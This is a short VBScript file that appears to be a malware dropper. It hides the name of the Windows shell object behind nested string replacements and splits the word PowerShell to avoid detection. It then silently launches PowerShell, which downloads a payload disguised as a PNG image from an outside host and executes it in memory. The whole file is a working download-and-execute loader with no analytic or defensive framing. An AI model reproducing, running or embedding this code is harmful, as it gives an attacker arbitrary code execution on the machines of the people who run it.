On Error Resume Next
Set SEUSEUJSD = CreateObject(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace("OEFpSleGvJLReEHDyCQdVRRvZddnYLfmOzaoMyfrleGvJnuIOcOyncGzVOkLzVOkL", "OEFpS", "w"), "leGvJ", "s"), "LReEH", "c"), "DyCQd", "r"), "VRRvZ", "i"), "ddnYL", "p"), "fmOza", "t"), "oMyfr", "."), "nuIOc", "h"), "OyncG", "e"), "zVOkL", "l"))
SETGYHESYS = ("POWeRS")
SEUSEUJSD.Run((SETGYHESYS)+"HeLL.eXe $req = [System.Net.WebRequest]::Create('https://pallarsactiu.cat/note3.png'); $res = $req.GetResponse(); iex ([System.IO.StreamReader] ($res.GetResponseStream())).ReadToEnd()"), 0
Set ali = Nothing